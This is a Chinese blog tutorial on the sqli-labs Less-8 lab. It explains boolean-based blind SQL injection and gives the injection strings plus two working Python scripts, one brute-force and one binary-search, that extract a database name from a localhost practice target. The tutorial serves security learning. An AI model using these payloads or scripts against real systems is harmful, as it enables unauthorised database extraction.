sql注入less8——布尔盲注

sql注入第八关卡是布尔盲注,我们将看不到一般的返回值,只能通过You are in......的消失与否来判断自己输入的字符是否与查询的数据的字符相同,相同则显示You are in......,相反则不显示,如下图所示:

查询语句:id=1' and substr(database(),1,1) = 's' --+

相同时:

查询语句:id=1' and substr(database(),1,1) = 'a' --+

不同时:

因为这样一次一次的去输入,去判断,所需时间确实太久了,所以用脚本来实现是最好的

import requests


def get_database(url):
    name = ''  # 初始化一个空字符串用于存储数据库名
    letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@#$%^&*'  # 包含可能的字符列表

    # 循环每个数据库名的字符位置
    for i in range(1, 20):  # 假设数据库名最长为20个字符
        # 循环尝试每个可能的字符
        for j in letters:
            # 构造盲注payload
            payload = "1' AND SUBSTRING((SELECT DATABASE()), %d, 1) = '%s'-- " % (i, j)
            # 发送请求
            res = requests.get(url, params={"id": payload})
            # 检查响应是否包含特定字符串,即数据库名
            if "You are in" in res.text:
                # 找到一个字符后,将其添加到数据库名中
                name += j
                print(name)  # 打印当前已获取的数据库名
                break  # 跳出当前循环,继续下一个位置的字符

    return name


# 目标URL
url = 'http://127.0.0.1/sqli-labs/less-8/'
# 调用函数获取数据库名
db_name = get_database(url)
print("Database Name:", db_name)

效果:

可这个效率依旧太差了,因为代码中有两个for循环,大大增加了查询时间,因此我们用二分查找来增加脚本效率

import requests

def get_database(url):
    name = ''
    for i in range(1,10):
        low = 32
        high = 128
        mid = (high + low) // 2
        while low < high:
            payload = "?id=1' and ascii(substr(database(),%d,1)) > %d--+" % (i,mid)
            res = requests.get(url + payload)
            if "You are in" in res.text:
                low = mid + 1
            else:
                high = mid
            mid = low + (high - low) // 2
        if mid == 32:
            break
        name = name + chr(mid)
    print(name)
    return name


url = 'http://127.0.0.1/sqli-labs/less-8/'
db_name = get_database(url)
print("Dataname是:",db_name)
相关推荐
桀桀桀桀桀桀24 分钟前
数据库中的用户管理和权限管理
数据库·mysql
lzhlizihang1 小时前
【Hive sql 面试题】求出各类型专利top 10申请人,以及对应的专利申请数(难)
大数据·hive·sql·面试题
superman超哥1 小时前
04 深入 Oracle 并发世界:MVCC、锁、闩锁、事务隔离与并发性能优化的探索
数据库·oracle·性能优化·dba
用户8007165452001 小时前
HTAP数据库国产化改造技术可行性方案分析
数据库
engchina2 小时前
Neo4j 和 Python 初学者指南:如何使用可选关系匹配优化 Cypher 查询
数据库·python·neo4j
engchina2 小时前
使用 Cypher 查询语言在 Neo4j 中查找最短路径
数据库·neo4j
尘浮生2 小时前
Java项目实战II基于Spring Boot的光影视频平台(开发文档+数据库+源码)
java·开发语言·数据库·spring boot·后端·maven·intellij-idea
威哥爱编程2 小时前
SQL Server 数据太多如何优化
数据库·sql·sqlserver
小华同学ai2 小时前
AJ-Report:一款开源且非常强大的数据可视化大屏和报表工具
数据库·信息可视化·开源
Acrelhuang3 小时前
安科瑞5G基站直流叠光监控系统-安科瑞黄安南
大数据·数据库·数据仓库·物联网